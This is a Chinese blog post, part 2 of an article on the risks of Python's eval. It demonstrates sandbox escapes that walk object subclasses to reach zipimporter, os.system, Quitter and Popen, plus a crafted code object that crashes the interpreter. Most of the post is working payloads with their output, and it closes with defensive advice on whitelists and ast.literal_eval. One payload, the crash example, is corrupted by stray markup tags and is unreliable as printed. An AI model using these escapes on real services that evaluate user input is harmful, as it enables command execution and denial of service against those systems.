python中eval的用法详解及潜在风险介绍(2)-木庄网络博客

被绕过的情景如下，小明知道了eval会带来一定的安全风险，所以使用如下的手段去防止eval执行任意代码：

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
  
eval(users_str, env)

Python中的__builtins__是内置模块，用来设置内置函数的模块。比如熟悉的abs，open等内置函数，都是在该模块中以字典的方式存储的，下面两种写法是等价的：

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

我们也可以自定义内置函数，并像使用Python中的内置函数一样使用它们：

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

小明将eval函数的作用域中的内置模块设置为None，好像看起来很彻底了，但依然可以被绕过。__builtins__是__builtin__的一个引用，在__main__模块下，两者是等价的：

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

根据乌云drops提到的方法，使用如下代码即可：

1	`[x` `for` `x in ().__class__.__bases__[0].__subclasses__()` `if` `x.__name__ ==` `"zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")`

上面的代码首先利用__class__和__subclasses__动态加载了object对象，这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入，并调用其内置模块中的os模块从而实现命令执行，当然，前提是要有configobj的egg文件。 configobj模块很有意思，居然内置了os模块：

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

和configobj类似的模块如urllib，urllib2，setuptools等都有os的内置，理论上使用哪个都行。如果无法下载egg压缩文件，可以下载带有setup.py的文件夹，加入：

1	`from setuptools import setup, find_packages`

然后执行:

1	`python setup.py bdist_egg`

就可以在dist文件夹中找到对应的egg文件。绕过demo如下：

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

拒绝服务攻击1

object的子类中有很多有趣的东西，执行以下代码查看：

1	`[x.__name__` `for` `x in ().__class__.__bases__[0].__subclasses__()]`

这里我就不输出结果了，如果你执行的话，可以看到很多有趣的模块，比如file，zipimporter，Quitter等。经过测试，file的构造函数是被解释器沙箱隔离的。简单的，或者直接使object暴露出的子类Quitter进行退出：

1 2	`>>>` `eval("[x` `for` `x in ().__class__.__bases__[0].__subclasses__()` `if` `x.__name__` `==` `'Quitter'][0](0)()", {'__builtins__':None})`

C:/>
如果运气好，遇到对方程序中导入了os等敏感模块，那么Popen就可以用，并且绕过__builins__为空的限制，例子如下：

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
  
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

事实上，这种情况非常多，比如导入os模块，一般用来处理路径问题。所以说，遇到这种情况，完全可以列举大量的功能函数，来探测目标object的子类中是否含有一些危险的函数可以直接使用。

拒绝服务攻击2

同样，我们甚至可以绕过__builtins__为None，造成一次拒绝服务攻击，Payload(来自老外blog)如下：

1	`>>>` `eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})`

运行上面的代码，Python直接crash掉了，造成拒绝服务攻击。原理是通过嵌套的lambda来构造一片代码段，即code对象。为这个code对象分配空的栈，并给出相应的代码字符串，这里是KABOOM，在空栈上执行代码，会出现crash。构造完成后，调用fc函数即可触发，其思路不可谓不淫荡。

总结

从上面的内容我们可以看出，单单将内置模块置为空，是不够的，最好的机制是构造白名单，如果觉得比较麻烦，可以使用ast.literal_eval代替不安全的eval。

本篇文章到这里就已经全部结束了，更多其他精彩内容可以关注PHP中文网的python视频教程栏目！

以上就是python中eval的用法详解及潜在风险介绍的详细内容，更多文章请关注木庄网络博客！！

返回前面的内容